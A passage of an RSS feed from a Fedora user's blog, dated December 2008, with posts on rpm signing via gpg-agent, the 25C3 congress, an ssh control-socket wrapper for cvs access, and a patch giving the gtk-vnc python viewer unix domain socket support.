<p>Now rpm will still ask for a password, but one can enter anything. If the gpg-agent needs a password to unlock a key, it will just fire up the pinentry command, which will then allow three password entry attempts by default. If entering an empty password for rpm is still too annyoing for you, Aaron Hawley described how to use expect to <a href="http://aaronhawley.livejournal.com/10615.html">provide a password to rpm</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://blogs.23.nu/till/2008/12/rpm-addsign-with-gpg-agent/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>come to the 25C3</title>
		<link>http://blogs.23.nu/till/2008/12/come-to-the-25c3/</link>
		<comments>http://blogs.23.nu/till/2008/12/come-to-the-25c3/#comments</comments>
		<pubDate>Thu, 11 Dec 2008 22:00:27 +0000</pubDate>
		<dc:creator>till</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[ccc]]></category>
		<category><![CDATA[fedora]]></category>

		<guid isPermaLink="false">http://blogs.23.nu/till/?p=43</guid>
		<description><![CDATA[Hello fellow Fedorians, I was so happy when I noticed that the 25C3 was added to the Fedora events page, to meet more of you in person. But now I checked who will be there and noticed, that there is only one other one other attendee. I guess you all did not notice, that there [...]]]></description>
			<content:encoded><![CDATA[<p>Hello fellow Fedorians, I was so happy when I noticed that the <a href="http://events.ccc.de/congress/2008/">25C3</a> was added to the <a href="http://fedoraproject.org/wiki/FedoraEvents/CCC/25C3">Fedora events page</a>, to meet more of you in person. But now I checked who will be there and noticed, that there is only one other one other attendee. I guess you all did not notice, that there is a event page for The Congress, but you know now. :-) So please add yourself now! And don&#8217;t forget to join the <a href="http://events.ccc.de/congress/2008/wiki/PGP_Keysigning">GPG-keysigning</a> event.</p>
]]></content:encoded>
			<wfw:commentRss>http://blogs.23.nu/till/2008/12/come-to-the-25c3/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>cvs via ssh with automatic control socket support</title>
		<link>http://blogs.23.nu/till/2008/12/ssh-via-cvs-with-automatic-control-socket-support/</link>
		<comments>http://blogs.23.nu/till/2008/12/ssh-via-cvs-with-automatic-control-socket-support/#comments</comments>
		<pubDate>Wed, 10 Dec 2008 22:34:31 +0000</pubDate>
		<dc:creator>till</dc:creator>
				<category><![CDATA[software]]></category>
		<category><![CDATA[cvs]]></category>
		<category><![CDATA[fedora]]></category>
		<category><![CDATA[ssh]]></category>

		<guid isPermaLink="false">http://blogs.23.nu/till/?p=35</guid>
		<description><![CDATA[A ticket in the Fedora infrastructure request tracker mentioned, that one can use the control socket support of ssh to improve the speed of cvs accesses to Fedora&#8217;s cvs. In the ticket, the reporter started manually a ssh that creates a control socket and then uses it with subsequent ssh commands. These ssh commands then [...]]]></description>
			<content:encoded><![CDATA[<p>A <a href="https://fedorahosted.org/fedora-infrastructure/ticket/752">ticket</a> in the Fedora infrastructure request tracker mentioned, that one can use the <a href="http://www.openbsd.org/cgi-bin/man.cgi?query=ssh_config">control socket support</a> of ssh to improve the speed of cvs accesses to Fedora&#8217;s cvs. In the ticket, the reporter started manually a ssh that creates a control socket and then uses it with subsequent ssh commands. These ssh commands then do not need to perform a new tcp and ssh handshake and are therefore much faster.</p>
<p>But there was the problem, that the because of some timeout, the socket got killed after around 30 minutes. This is of course pretty annoying. One solution is to create some traffic via the control socket every now and then to keep it open. But then one has still to open the control socket.</p>
<p>I did a little &#8220;investigation&#8221; and noticed that the ssh command is passed to cvs via the environment variable CVS_SSH. This makes it pretty easy to write a wrapper to first test, whether a control socket exists and to create one, if it does not. Here is what I came up with:</p>
<p><code><br />
$ cat ~/.ssh/config<br />
Host cvs.fedoraproject.org<br />
ControlMaster auto<br />
ControlPath ~/.ssh/sockets/controlsocket-%h-%p-%r</code></p>
<p>$ echo $CVS_RSH<br />
/home/till/bin/fedora-cvs-ssh.sh<br />
$ cat bin/fedora-cvs-ssh.sh<br />
#! /bin/bash</p>
<p>SSH_USER=&#8221;${2}&#8221;<br />
SSH_SERVER=&#8221;${3}&#8221;</p>
<p>/usr/bin/test -e ~/.ssh/sockets/controlsocket-${SSH_SERVER}-22-${SSH_USER} || /usr/bin/ssh -f -N -l ${SSH_USER} ${SSH_SERVER} &lt;/dev/null &gt;/dev/null 2&gt;/dev/null</p>
<p>exec /usr/bin/ssh &#8220;$@&#8221;</p>
<p>If you extend the ~/.ssh/config file for other hosts, it should work out of the box for every cvs over ssh access that uses port 22. If you want to use a different port, you have to edit it a little.</p>
]]></content:encoded>
			<wfw:commentRss>http://blogs.23.nu/till/2008/12/ssh-via-cvs-with-automatic-control-socket-support/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>vnc viewer with unix domain socket support</title>
		<link>http://blogs.23.nu/till/2008/12/vnc-viewer-with-unix-domain-socket-support/</link>
		<comments>http://blogs.23.nu/till/2008/12/vnc-viewer-with-unix-domain-socket-support/#comments</comments>
		<pubDate>Tue, 09 Dec 2008 18:45:38 +0000</pubDate>
		<dc:creator>till</dc:creator>
				<category><![CDATA[software]]></category>
		<category><![CDATA[fedora]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[virtualization]]></category>

		<guid isPermaLink="false">http://blogs.23.nu/till/?p=28</guid>
		<description><![CDATA[qemu supports a vnc server listening on an unix domain socket, but there seems to be no client ready for this. So let's write one using python and gtk-vnc.]]></description>
			<content:encoded><![CDATA[<p><a href="http://bellard.org/qemu/">qemu</a> has this nice feature to open a vnc server, that listens on a <a href="http://en.wikipedia.org/wiki/Unix_domain_sockets">unix domain socket</a>. I failed to find a vnc viewer to support connecting to this on <a href="http://fedoraproject.org">Fedora</a>, but the helpful people in #qemu on <a href="http://freenode.net">freenode</a> pointed me <a href="http://gtk-vnc.sourceforge.net/">gtk-vnc</a>. It is only a library, but it comes with a python example client. It cannot yet open unix domain sockets, but gtk-vnc supports using a file descriptor, instead of connection to a host.. A simple change made it open a unix domain socket from a path, that is given as the first argument:</p>
<p><code><br />
--- /usr/share/doc/gtk-vnc-python-0.3.7/gvncviewer.py   2008-09-05 14:32:15.000000000 +0200<br />
+++ gvncviewer.py       2008-12-09 16:16:10.000000000 +0100<br />
@@ -164,7 +190,13 @@<br />
port = "5900"<br />
print "Connecting to %s %s" % (host, port)</p>
<p>-vnc.open_host(host, port)<br />
+import socket<br />
+domain_sock =  socket.socket(socket.AF_UNIX, socket.SOCK_STREAM, 0)<br />
+domain_sock.connect(sys.argv[1])<br />
+<br />
+<br />
+# vnc.open_host(host, port)<br />
+vnc.open_fd(domain_sock.fileno())<br />
vnc.connect("vnc-pointer-grab", vnc_grab, window)<br />
vnc.connect("vnc-pointer-ungrab", vnc_ungrab, window)<br />
</code></p>
]]></content:encoded>
			<wfw:commentRss>http://blogs.23.nu/till/2008/12/vnc-viewer-with-unix-domain-socket-support/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

